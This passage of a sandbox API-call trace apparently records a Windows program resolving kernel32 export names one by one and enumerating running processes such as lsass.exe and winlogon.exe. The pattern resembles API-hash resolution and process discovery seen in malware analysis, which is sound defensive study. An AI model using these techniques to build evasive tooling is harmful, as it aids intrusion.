lpString1=0x21ff0a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0046.303] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0046.303] lstrlenA (lpString="CREATEPIPE") returned 10 [0046.303] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0046.303] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0046.304] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0046.304] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0046.304] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0046.304] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0046.304] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0046.304] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0046.304] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0046.304] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0046.304] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0046.304] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0046.304] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0046.305] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0046.305] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0046.305] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0046.305] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0046.305] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0046.305] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0046.305] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0046.305] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0046.305] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0046.305] lstrlenA (lpString="CREATETHREAD") returned 12 [0046.305] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0046.305] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0046.306] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0046.306] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0046.306] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0046.306] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0046.306] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0046.306] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0046.306] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0046.306] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0046.306] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0046.306] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0046.306] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0046.306] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0046.306] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0046.307] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.307] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.307] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.350] GetLastError () returned 0x0 [0046.351] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.351] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.351] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.352] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.352] GetLastError () returned 0x0 [0046.352] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.353] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.353] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.353] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.354] GetLastError () returned 0x0 [0046.355] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.355] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.355] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.356] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.356] GetLastError () returned 0x0 [0046.356] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.357] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.357] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.357] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.358] GetLastError () returned 0x0 [0046.358] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.359] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.359] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.359] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.360] GetLastError () returned 0x0 [0046.360] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.361] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.361] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.361] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.362] GetLastError () returned 0x0 [0046.362] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.362] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.363] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.363] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.364] GetLastError () returned 0x0 [0046.364] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.364] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.365] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.365] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0046.366] GetLastError () returned 0x0 [0046.366] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.366] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.366] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.367] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0046.367] GetLastError () returned 0x0 [0046.367] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.368] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.368] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.369] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.369] GetLastError () returned 0x0 [0046.369] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.370] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.370] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.371] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.372] GetLastError () returned 0x0 [0046.372] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.373] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.373] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.373] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.374] GetLastError () returned 0x0 [0046.374] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.375] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.375] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.375] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.376] GetLastError () returned 0x0 [0046.376] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.377] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.377] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.377] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.378] GetLastError () returned 0x0 [0046.378] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.378] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.379] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.379] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.380] GetLastError () returned 0x0 [0046.380] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.380] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.381] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.381] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.382] GetLastError () returned 0x0 [0046.382] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.382] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.383] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.383] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.384] GetLastError () returned 0x0 [0046.384] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.384] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.384] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.385] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.385] GetLastError () returned 0x0 [0046.386] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.386] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.447] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.447] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.448] GetLastError () returned 0x0 [0046.448] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.448] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.449] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.449] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.450] GetLastError () returned 0x0 [0046.450] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.450] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.451] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.451] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.452] GetLastError () returned 0x0 [0046.452] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.452] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.453] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.453] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.454] GetLastError () returned 0x0 [0046.454] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.454] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.455] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.455] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.456] GetLastError () returned 0x0 [0046.456] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.456] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.457] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.457] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.458] GetLastError () returned 0x0 [0046.458] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.459] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.459] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.459] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0046.460] GetLastError () returned 0x0 [0046.460] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.461] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.461] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.461] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.462] GetLastError () returned 0x0 [0046.462] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.462] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.463] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.463] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0046.464] GetLastError () returned 0x0 [0046.464] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.465] lstrlenA (lpString="kernel32.dll") returned 12 [0046.465] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.465] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0046.465] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0046.465] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0046.465] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0046.465] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0046.465] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0046.465] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0046.465] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0046.465] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0046.465] lstrlenA (lpString="ADDATOMA") returned 8 [0046.465] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0046.465] lstrlenA (lpString="ADDATOMW") returned 8 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0046.466] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0046.466] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0046.466] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0046.466] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0046.466] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0046.466] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0046.466] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0046.466] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0046.466] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0046.466] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0046.466] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0046.466] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0046.466] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" 